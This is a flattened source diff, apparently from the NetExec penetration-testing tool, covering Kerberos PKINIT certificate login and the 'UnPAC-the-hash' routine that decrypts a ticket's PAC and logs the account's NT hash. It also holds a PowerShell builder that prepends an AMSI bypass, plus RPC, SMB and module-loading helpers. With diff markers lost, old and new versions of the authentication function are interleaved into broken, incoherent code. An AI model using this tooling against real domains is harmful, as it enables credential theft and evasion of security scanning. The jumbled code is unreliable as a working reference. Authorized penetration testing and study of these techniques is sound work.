cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
|
||||
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
|
||||
]
|
||||
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
|
||||
si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
|
||||
|
||||
ec = {}
|
||||
ec["content_type"] = "1.3.6.1.5.2.3.1"
|
||||
ec["content"] = data
|
||||
|
||||
sd = {}
|
||||
sd["version"] = "v3"
|
||||
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
|
||||
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
|
||||
sd["certificates"] = [self.certificate]
|
||||
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
|
||||
|
||||
if wrap_signed is True:
|
||||
ci = {}
|
||||
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
|
||||
ci["content"] = cms.SignedData(sd)
|
||||
return cms.ContentInfo(ci).dump()
|
||||
|
||||
return cms.SignedData(sd).dump()
|
||||
|
||||
def decrypt_asrep(self, as_rep):
|
||||
def truncate_key(value, keysize):
|
||||
output = b""
|
||||
currentNum = 0
|
||||
while len(output) < keysize:
|
||||
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
|
||||
if len(output) + len(currentDigest) > keysize:
|
||||
output += currentDigest[:keysize - len(output)]
|
||||
break
|
||||
output += currentDigest
|
||||
currentNum += 1
|
||||
|
||||
return output
|
||||
|
||||
for pa in as_rep["padata"]:
|
||||
if pa["padata-type"] == 17:
|
||||
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
|
||||
break
|
||||
else:
|
||||
raise Exception("PA_PK_AS_REP not found!")
|
||||
ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
|
||||
sd = ci["content"]
|
||||
keyinfo = sd["encap_content_info"]
|
||||
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
|
||||
raise Exception("Keyinfo content type unexpected value")
|
||||
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
|
||||
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
|
||||
|
||||
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
|
||||
shared_key = self.diffie.exchange(pubkey)
|
||||
|
||||
server_nonce = pkasrep["serverDHNonce"]
|
||||
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
|
||||
|
||||
etype = as_rep["enc-part"]["etype"]
|
||||
cipher = _enctype_table[etype]
|
||||
if etype == Enctype.AES256:
|
||||
t_key = truncate_key(fullKey, 32)
|
||||
elif etype == Enctype.AES128:
|
||||
t_key = truncate_key(fullKey, 16)
|
||||
elif etype == Enctype.RC4:
|
||||
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
|
||||
|
||||
key = Key(cipher.enctype, t_key)
|
||||
enc_data = as_rep["enc-part"]["cipher"]
|
||||
nxc_logger.info("AS-REP encryption key (you might need this later):")
|
||||
nxc_logger.info(hexlify(t_key).decode("utf-8"))
|
||||
dec_data = cipher.decrypt(key, 3, enc_data)
|
||||
encasrep = EncASRepPart.load(dec_data).native
|
||||
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
|
||||
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
|
||||
return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
|
||||
|
||||
|
||||
class GETPAC:
|
||||
|
||||
def printPac(self, data, key=None):
|
||||
nthash = None
|
||||
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
|
||||
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
|
||||
0]
|
||||
# So here we have the PAC
|
||||
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
|
||||
buff = pacType["Buffers"]
|
||||
found = False
|
||||
for _bufferN in range(pacType["cBuffers"]):
|
||||
infoBuffer = PAC_INFO_BUFFER(buff)
|
||||
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
|
||||
nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
|
||||
if infoBuffer["ulType"] == 2:
|
||||
found = True
|
||||
credinfo = PAC_CREDENTIAL_INFO(data)
|
||||
newCipher = _enctype_table[credinfo["EncryptionType"]]
|
||||
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
|
||||
type1 = TypeSerialization1(out)
|
||||
# I'm skipping here 4 bytes with its the ReferentID for the pointer
|
||||
newdata = out[len(type1) + 4:]
|
||||
pcc = PAC_CREDENTIAL_DATA(newdata)
|
||||
for cred in pcc["Credentials"]:
|
||||
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
|
||||
|
||||
nxc_logger.info("Recovered NT Hash")
|
||||
nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
|
||||
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
|
||||
|
||||
buff = buff[len(infoBuffer):]
|
||||
|
||||
if not found:
|
||||
nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
|
||||
return nthash
|
||||
|
||||
def __init__(self, username, domain, kdcHost, key, tgt):
|
||||
self.__username = username
|
||||
self.__domain = domain.upper()
|
||||
self.__kdcHost = kdcHost
|
||||
self.__asrep_key = key
|
||||
self.__tgt = tgt["KDC_REP"]
|
||||
self.__cipher = tgt["cipher"]
|
||||
self.__sessionKey = tgt["sessionKey"]
|
||||
|
||||
def dump(self):
|
||||
# Try all requested protocols until one works.
|
||||
tgt = self.__tgt
|
||||
cipher = self.__cipher
|
||||
sessionKey = self.__sessionKey
|
||||
|
||||
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
|
||||
|
||||
# Extract the ticket from the TGT
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(decodedTGT["ticket"])
|
||||
|
||||
apReq = AP_REQ()
|
||||
apReq["pvno"] = 5
|
||||
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
|
||||
opts = []
|
||||
apReq["ap-options"] = constants.encodeFlags(opts)
|
||||
seq_set(apReq, "ticket", ticket.to_asn1)
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator["authenticator-vno"] = 5
|
||||
authenticator["crealm"] = str(decodedTGT["crealm"])
|
||||
|
||||
clientName = Principal()
|
||||
clientName.from_asn1(decodedTGT, "crealm", "cname")
|
||||
|
||||
seq_set(authenticator, "cname", clientName.components_to_asn1)
|
||||
|
||||
now = datetime.datetime.utcnow()
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = KerberosTime.to_asn1(now)
|
||||
|
||||
nxc_logger.debug("AUTHENTICATOR")
|
||||
nxc_logger.debug(authenticator.prettyPrint() + "\n")
|
||||
|
||||
encodedAuthenticator = encoder.encode(authenticator)
|
||||
|
||||
# Key Usage 7
|
||||
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
|
||||
# TGS authenticator subkey), encrypted with the TGS session
|
||||
# key (Section 5.5.1)
|
||||
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
|
||||
|
||||
apReq["authenticator"] = noValue
|
||||
apReq["authenticator"]["etype"] = cipher.enctype
|
||||
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
|
||||
|
||||
encodedApReq = encoder.encode(apReq)
|
||||
|
||||
tgsReq = TGS_REQ()
|
||||
|
||||
tgsReq["pvno"] = 5
|
||||
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
||||
|
||||
tgsReq["padata"] = noValue
|
||||
tgsReq["padata"][0] = noValue
|
||||
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
||||
tgsReq["padata"][0]["padata-value"] = encodedApReq
|
||||
|
||||
reqBody = seq_set(tgsReq, "req-body")
|
||||
|
||||
opts = []
|
||||
opts.append(constants.KDCOptions.forwardable.value)
|
||||
opts.append(constants.KDCOptions.renewable.value)
|
||||
opts.append(constants.KDCOptions.canonicalize.value)
|
||||
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
|
||||
|
||||
reqBody["kdc-options"] = constants.encodeFlags(opts)
|
||||
|
||||
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
|
||||
|
||||
seq_set(reqBody, "sname", serverName.components_to_asn1)
|
||||
reqBody["realm"] = str(decodedTGT["crealm"])
|
||||
|
||||
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
|
||||
|
||||
reqBody["till"] = KerberosTime.to_asn1(now)
|
||||
reqBody["nonce"] = random.getrandbits(31)
|
||||
seq_set_iter(reqBody, "etype",
|
||||
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
|
||||
|
||||
myTicket = ticket.to_asn1(TicketAsn1())
|
||||
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
|
||||
nxc_logger.debug("Final TGS")
|
||||
nxc_logger.debug(tgsReq.prettyPrint())
|
||||
|
||||
message = encoder.encode(tgsReq)
|
||||
nxc_logger.info("Requesting ticket to self with PAC")
|
||||
|
||||
r = sendReceive(message, self.__domain, self.__kdcHost)
|
||||
|
||||
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
|
||||
|
||||
nxc_logger.debug("TGS_REP")
|
||||
nxc_logger.debug(tgs.prettyPrint())
|
||||
|
||||
cipherText = tgs["ticket"]["enc-part"]["cipher"]
|
||||
|
||||
# Key Usage 2
|
||||
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
|
||||
# application session key), encrypted with the service key
|
||||
# (section 5.4.2)
|
||||
|
||||
# S4USelf + U2U uses this other key
|
||||
plainText = cipher.decrypt(sessionKey, 2, cipherText)
|
||||
specialkey = Key(18, unhexlify(self.__asrep_key))
|
||||
return self.printPac(plainText, specialkey)
|
||||
|
||||
|
||||
def pfx_auth(self):
|
||||
"""Handles the authentication using a PFX or PEM file"""
|
||||
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
|
||||
dhparams = {
|
||||
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
|
||||
"g": 2
|
||||
}
|
||||
self.logger.info("Loading certificate and key from file")
|
||||
|
||||
# Load the certificate and key from file
|
||||
if self.args.pfx_cert or self.args.pfx_base64:
|
||||
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
|
||||
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
|
||||
elif self.args.pem_cert and self.args.pem_key:
|
||||
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
|
||||
else:
|
||||
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
decoded_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0]
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(decoded_tgt["ticket"])
|
||||
realm = str(decoded_tgt["crealm"])
|
||||
now = datetime.datetime.now(datetime.UTC)
|
||||
|
||||
client_name = Principal()
|
||||
client_name.from_asn1(decoded_tgt, "crealm", "cname")
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator["authenticator-vno"] = 5
|
||||
authenticator["crealm"] = realm
|
||||
seq_set(authenticator, "cname", client_name.components_to_asn1)
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = KerberosTime.to_asn1(now)
|
||||
connection.logger.debug(f"U2U authenticator: {authenticator.prettyPrint()}")
|
||||
|
||||
ap_req = AP_REQ()
|
||||
ap_req["pvno"] = 5
|
||||
ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
ap_req["ap-options"] = constants.encodeFlags([])
|
||||
seq_set(ap_req, "ticket", ticket.to_asn1)
|
||||
ap_req["authenticator"] = noValue
|
||||
ap_req["authenticator"]["etype"] = cipher.enctype
|
||||
# Key usage 7: the AP-REQ authenticator of a PA-TGS-REQ, encrypted with the TGT session key
|
||||
ap_req["authenticator"]["cipher"] = cipher.encrypt(session_key, 7, encoder.encode(authenticator), None)
|
||||
|
||||
tgs_req = TGS_REQ()
|
||||
tgs_req["pvno"] = 5
|
||||
tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
||||
tgs_req["padata"] = noValue
|
||||
tgs_req["padata"][0] = noValue
|
||||
tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
||||
tgs_req["padata"][0]["padata-value"] = encoder.encode(ap_req)
|
||||
|
||||
req_body = seq_set(tgs_req, "req-body")
|
||||
req_body["kdc-options"] = constants.encodeFlags([constants.KDCOptions.forwardable.value, constants.KDCOptions.renewable.value, constants.KDCOptions.canonicalize.value, constants.KDCOptions.enc_tkt_in_skey.value])
|
||||
req_body["realm"] = realm
|
||||
seq_set(req_body, "sname", Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value).components_to_asn1)
|
||||
req_body["till"] = KerberosTime.to_asn1(now + datetime.timedelta(days=1))
|
||||
req_body["nonce"] = random.getrandbits(31)
|
||||
seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
|
||||
seq_set_iter(req_body, "additional-tickets", (ticket.to_asn1(TicketAsn1()),))
|
||||
|
||||
connection.logger.info("Requesting a U2U service ticket to ourselves to read the PAC")
|
||||
try:
|
||||
response = sendReceive(encoder.encode(tgs_req), connection.domain, connection.kdcHost)
|
||||
tgs_rep = decoder.decode(response, asn1Spec=TGS_REP())[0]
|
||||
connection.logger.debug(f"U2U TGS-REP: {tgs_rep.prettyPrint()}")
|
||||
# Key usage 2: with enc-tkt-in-skey the ticket is encrypted with the session key of the TGT sent along
|
||||
enc_ticket_part = cipher.decrypt(session_key, 2, tgs_rep["ticket"]["enc-part"]["cipher"])
|
||||
return read_nt_hash_from_pac(connection, enc_ticket_part, reply_key)
|
||||
except (KerberosError, InvalidChecksum, PyAsn1Error, OSError, IndexError, KeyError) as e: # IndexError: empty AD-IF-RELEVANT, KeyError: unknown etype
|
||||
connection.logger.fail(f"Failed to unPAC the hash: {e}")
|
||||
return None
|
||||
|
||||
username = self.args.username[0]
|
||||
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
|
||||
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
|
||||
|
||||
# Request a TGT with the cert data
|
||||
req = ini.build_asreq(self.domain, username)
|
||||
self.logger.info("Requesting TGT")
|
||||
|
||||
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
|
||||
try:
|
||||
res = sock.sendrecv(req)
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
def pfx_auth(self, domain, username):
|
||||
"""Authenticate with a client certificate through PKINIT, then optionally unPAC the NT hash"""
|
||||
if not self.kdcHost:
|
||||
self.logger.fail(f"Could not resolve KDC host for domain {domain}. Use --kdcHost to specify the domain controller IP")
|
||||
return False
|
||||
|
||||
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
|
||||
ccache_minikerberos = CCACHE()
|
||||
ccache_minikerberos.add_tgt(res.native, encasrep)
|
||||
ccache_minikerberos.to_file(log_ccache)
|
||||
self.logger.info(f"Saved TGT to file {log_ccache}")
|
||||
self.logger.info(f"Using Kerberos Cache {log_ccache}")
|
||||
ccache = impacket_CCache.loadFile(log_ccache)
|
||||
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
|
||||
creds = ccache.getCredential(principal)
|
||||
if creds is not None:
|
||||
tgt = creds.toTGT()
|
||||
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
|
||||
nthash = dumper.dump()
|
||||
if not self.kerberos:
|
||||
self.hash_login(self.domain, username, nthash)
|
||||
else:
|
||||
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
|
||||
self.logger.info("Loading certificate and key from file")
|
||||
try:
|
||||
credentials = pkinit_credentials(self.args)
|
||||
except FileNotFoundError as e:
|
||||
self.logger.fail(f"Certificate or key file not found: {e.filename}")
|
||||
return False
|
||||
except (PKINITError, ValueError) as e:
|
||||
self.logger.fail(f"Failed to load certificate/key: {e}")
|
||||
return False
|
||||
|
||||
self.logger.info("Successfully authenticated using Certificate")
|
||||
return True
|
||||
if credentials is None:
|
||||
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
return False
|
||||
|
||||
self.logger.info(f"Requesting TGT for {username}@{domain} with the certificate")
|
||||
client_name = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
try:
|
||||
tgt, cipher, reply_key, session_key = getKerberosTGTPKINIT(client_name, domain, credentials, kdcHost=self.kdcHost)
|
||||
except (PKINITError, KerberosError, OSError) as e:
|
||||
self.logger.fail(f"Failed to get a TGT with the certificate: {e}")
|
||||
return False
|
||||
|
||||
ccache = CCache()
|
||||
ccache.fromTGT(tgt, reply_key, session_key)
|
||||
basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache")
|
||||
ccache_path = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
|
||||
ccache.saveFile(ccache_path)
|
||||
self.logger.info(f"Saved TGT to {ccache_path}")
|
||||
|
||||
if self.protocol == "winrm": # nxc winrm has no Kerberos login: log in over NTLM with the unPACed hash, as before
|
||||
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
|
||||
return bool(nthash) and self.hash_login(domain, username, nthash)
|
||||
|
||||
# Impacket reads the TGT of a Kerberos login from the cache this variable points at, for the whole process
|
||||
os.environ["KRB5CCNAME"] = ccache_path
|
||||
self.use_kcache = True
|
||||
logged_in = self.kerberos_login(domain, username, "", "", "", self.kdcHost, True)
|
||||
|
||||
if self.protocol == "smb" and self.args.unpac:
|
||||
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
|
||||
if nthash:
|
||||
self.logger.highlight(f"{domain}\\{username} NT hash: {nthash}")
|
||||
self.db.add_credential("hash", domain, username, nthash)
|
||||
|
||||
return logged_in
|
||||
|
||||
|
||||
def certificate_options(args):
|
||||
"""Return the LDAPConnection certificate options for the command line material, plus a temporary file the caller must delete."""
|
||||
if args.pfx_cert:
|
||||
return {"pfxfile": args.pfx_cert, "pfxpass": args.pfx_pass}, None
|
||||
|
||||
if args.pem_cert and args.pem_key:
|
||||
return {"certfile": args.pem_cert, "keyfile": args.pem_key}, None
|
||||
|
||||
if args.pfx_base64:
|
||||
with open(args.pfx_base64, "rb") as pfx_base64_file:
|
||||
pfxdata = base64.b64decode(pfx_base64_file.read())
|
||||
# impacket loads the bundle from a path, so the decoded PFX has to hit the disk
|
||||
handle, pfx_path = tempfile.mkstemp(suffix=".pfx", dir=TMP_PATH)
|
||||
with os.fdopen(handle, "wb") as pfx_file:
|
||||
pfx_file.write(pfxdata)
|
||||
return {"pfxfile": pfx_path, "pfxpass": args.pfx_pass}, pfx_path
|
||||
|
||||
raise ValueError("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
@@ -137,7 +137,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
|
||||
amsi_bypass = ""
|
||||
|
||||
# for readability purposes, we do not do a one-liner
|
||||
if force_ps32: # noqa: SIM108
|
||||
if force_ps32:
|
||||
# https://stackoverflow.com/a/60155248
|
||||
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
|
||||
else:
|
||||
|
||||
@@ -0,0 +1,132 @@
|
||||
import contextlib
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
|
||||
class NXCRPCConnection:
|
||||
"""
|
||||
DCE/RPC over SMB/TCP using the NXC connection's creds; reuse SMB when already
|
||||
logged in so Kerberos delegation (e.g. S4U2Proxy ST) applies to pipe RPC too.
|
||||
"""
|
||||
def __init__(self, connection, force_tcp=False):
|
||||
self.connection = connection
|
||||
self.force_tcp = force_tcp
|
||||
self.dce = None
|
||||
self.rpc_transport = None
|
||||
|
||||
def connect(self, named_pipe, interface_uuid, target_ip=None, auth_level=None, string_binding=None, set_remote_host=None, anonymous_rpc=False):
|
||||
if string_binding is not None:
|
||||
self.rpc_transport = self.create_from_string_binding(string_binding, target_ip, set_remote_host, anonymous_rpc)
|
||||
elif self.force_tcp:
|
||||
self.rpc_transport = self.create_tcp_transport(target_ip, anonymous_rpc)
|
||||
else:
|
||||
self.rpc_transport = self.create_smb_transport(named_pipe, target_ip)
|
||||
|
||||
self.dce = self.rpc_transport.get_dce_rpc()
|
||||
|
||||
if self.connection.kerberos and not anonymous_rpc:
|
||||
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
self.dce.connect()
|
||||
|
||||
if auth_level is not None:
|
||||
self.dce.set_auth_level(auth_level)
|
||||
|
||||
self.dce.bind(interface_uuid)
|
||||
return self.dce
|
||||
|
||||
def disconnect(self):
|
||||
if self.dce:
|
||||
with contextlib.suppress(Exception):
|
||||
self.dce.disconnect()
|
||||
self.dce = None
|
||||
|
||||
@property
|
||||
def transport(self):
|
||||
return self.rpc_transport
|
||||
|
||||
def get_smb_connection(self):
|
||||
if self.rpc_transport and hasattr(self.rpc_transport, "get_smb_connection"):
|
||||
return self.rpc_transport.get_smb_connection()
|
||||
return None
|
||||
|
||||
def __enter__(self):
|
||||
return self
|
||||
|
||||
def __exit__(self, exc_type, exc_val, exc_tb):
|
||||
self.disconnect()
|
||||
return False
|
||||
|
||||
def setup_credentials(self, rpc_transport, anonymous_rpc=False):
|
||||
conn = self.connection
|
||||
if anonymous_rpc:
|
||||
rpc_transport.set_credentials("", "", "", "", "", "")
|
||||
rpc_transport.set_kerberos(False, None)
|
||||
else:
|
||||
rpc_transport.set_credentials(conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey)
|
||||
if conn.kerberos:
|
||||
rpc_transport.set_kerberos(conn.kerberos, conn.kdcHost)
|
||||
|
||||
def create_smb_transport(self, named_pipe, target_ip=None):
|
||||
conn = self.connection
|
||||
|
||||
# Create a new SMB conn if we don't have one already or
|
||||
# if we are targetting a different IP (e.g. the DC instead of the original host) and therefore need to recreate the conn
|
||||
if conn.conn is not None and (target_ip is None or conn.host == target_ip):
|
||||
return transport.SMBTransport(conn.conn.getRemoteHost(), filename=named_pipe, smb_connection=conn.conn)
|
||||
rpc_transport = transport.SMBTransport(conn.remoteName, conn.port, named_pipe, conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey, doKerberos=conn.kerberos, kdcHost=conn.kdcHost)
|
||||
if target_ip or conn.host:
|
||||
rpc_transport.setRemoteHost(target_ip or conn.host)
|
||||
return rpc_transport
|
||||
|
||||
def create_tcp_transport(self, target_ip=None, anonymous_rpc=False):
|
||||
conn = self.connection
|
||||
target = target_ip or conn.remoteName
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(rf"ncacn_ip_tcp:{target}")
|
||||
rpc_transport.setRemoteHost(target)
|
||||
self.setup_credentials(rpc_transport, anonymous_rpc)
|
||||
return rpc_transport
|
||||
|
||||
def create_from_string_binding(self, string_binding, target_ip=None, set_remote_host=None, anonymous_rpc=False):
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
|
||||
if target_ip is not None:
|
||||
rpc_transport.setRemoteHost(target_ip)
|
||||
elif set_remote_host is not None:
|
||||
rpc_transport.setRemoteHost(set_remote_host)
|
||||
|
||||
self.setup_credentials(rpc_transport, anonymous_rpc)
|
||||
return rpc_transport
|
||||
|
||||
|
||||
def dcom_FirewallChecker(iInterface, remoteHost, timeout, logger):
|
||||
stringBindings = iInterface.get_cinstance().get_string_bindings()
|
||||
for strBinding in stringBindings:
|
||||
if strBinding["wTowerId"] == 7:
|
||||
if strBinding["aNetworkAddr"].find("[") >= 0:
|
||||
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
|
||||
bindingPort = "[" + bindingPort
|
||||
else:
|
||||
binding = strBinding["aNetworkAddr"]
|
||||
bindingPort = ""
|
||||
|
||||
if binding.upper().find(iInterface.get_target().upper()) >= 0:
|
||||
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
|
||||
break
|
||||
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
|
||||
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
|
||||
if "stringBinding" not in locals():
|
||||
return True, None
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
rpctransport.connect()
|
||||
rpctransport.disconnect()
|
||||
except Exception as e:
|
||||
logger.debug(f"Exception while connecting to {stringBinding}: {e}")
|
||||
return False, stringBinding
|
||||
else:
|
||||
return True, stringBinding
|
||||
@@ -0,0 +1,21 @@
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
|
||||
def get_smb_connection(context, connection, timeout=3):
|
||||
"""SMB session reusing the credentials of the current connection, or None when it cannot be established.
|
||||
|
||||
A certificate-only bind (--schannel) leaves no secret behind, and logging in without
|
||||
one would count as a bad password attempt on the target, so no session is attempted.
|
||||
"""
|
||||
if not connection.has_reusable_secret:
|
||||
context.log.fail("Cannot open an SMB session: a certificate-only bind (--schannel) provides no password, hash or Kerberos ticket")
|
||||
return None
|
||||
|
||||
smb = SMBConnection(remoteName=connection.remoteName, remoteHost=connection.host, sess_port=445, timeout=timeout)
|
||||
if connection.kerberos:
|
||||
smb.kerberosLogin(user=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, aesKey=connection.aesKey, kdcHost=connection.kdcHost, useCache=connection.use_kcache)
|
||||
elif connection.nthash or connection.lmhash:
|
||||
smb.login(connection.username, "", connection.domain, lmhash=connection.lmhash, nthash=connection.nthash)
|
||||
else:
|
||||
smb.login(connection.username, connection.password, connection.domain)
|
||||
return smb
|
||||
+63
-17
@@ -1,11 +1,13 @@
|
||||
import ast
|
||||
import nxc
|
||||
import importlib
|
||||
import traceback
|
||||
import sys
|
||||
|
||||
from os import listdir
|
||||
from os.path import dirname
|
||||
from os.path import basename, dirname
|
||||
from os.path import join as path_join
|
||||
from types import SimpleNamespace
|
||||
|
||||
from nxc.context import Context
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
@@ -13,6 +15,10 @@ from nxc.logger import NXCAdapter
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class ModuleOptionsError(Exception):
|
||||
"""Raised when a module aborts the run from options() (returned False)."""
|
||||
|
||||
|
||||
class ModuleLoader:
|
||||
def __init__(self, args, db, logger):
|
||||
self.args = args
|
||||
@@ -40,27 +46,46 @@ class ModuleLoader:
|
||||
elif not hasattr(module, "options"):
|
||||
self.logger.fail(f"{module_path} missing the options function")
|
||||
module_error = True
|
||||
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
|
||||
elif not hasattr(module, "on_login") and not hasattr(module, "on_admin_login"):
|
||||
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
|
||||
module_error = True
|
||||
|
||||
return not module_error
|
||||
|
||||
def load_module(self, module_path):
|
||||
"""Load a module, initializing it and checking that it has the proper attributes"""
|
||||
try:
|
||||
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
|
||||
module = spec.loader.load_module().NXCModule()
|
||||
module_cache = {}
|
||||
|
||||
if self.module_is_sane(module, module_path):
|
||||
return module
|
||||
@classmethod
|
||||
def load_module_file(cls, module_path):
|
||||
"""Load a module file and return the raw module object with isolated namespace.
|
||||
|
||||
Each module gets a unique name to avoid sys.modules collisions that
|
||||
caused NXCModule class references to be overwritten when loading
|
||||
multiple modules. Results are cached so each file is only parsed
|
||||
and executed once regardless of how many targets are scanned.
|
||||
"""
|
||||
if module_path not in cls.module_cache:
|
||||
module_name = f"nxc_module_{basename(module_path)[:-3]}"
|
||||
spec = importlib.util.spec_from_file_location(module_name, module_path)
|
||||
module = importlib.util.module_from_spec(spec)
|
||||
# Register before executing. Modules that define their own impacket
|
||||
# NDRCALL requests rely on impacket resolving the matching Response
|
||||
# class via sys.modules[request.__module__] (rpcrt.py), which the
|
||||
# previous load_module() satisfied implicitly.
|
||||
sys.modules[module_name] = module
|
||||
spec.loader.exec_module(module)
|
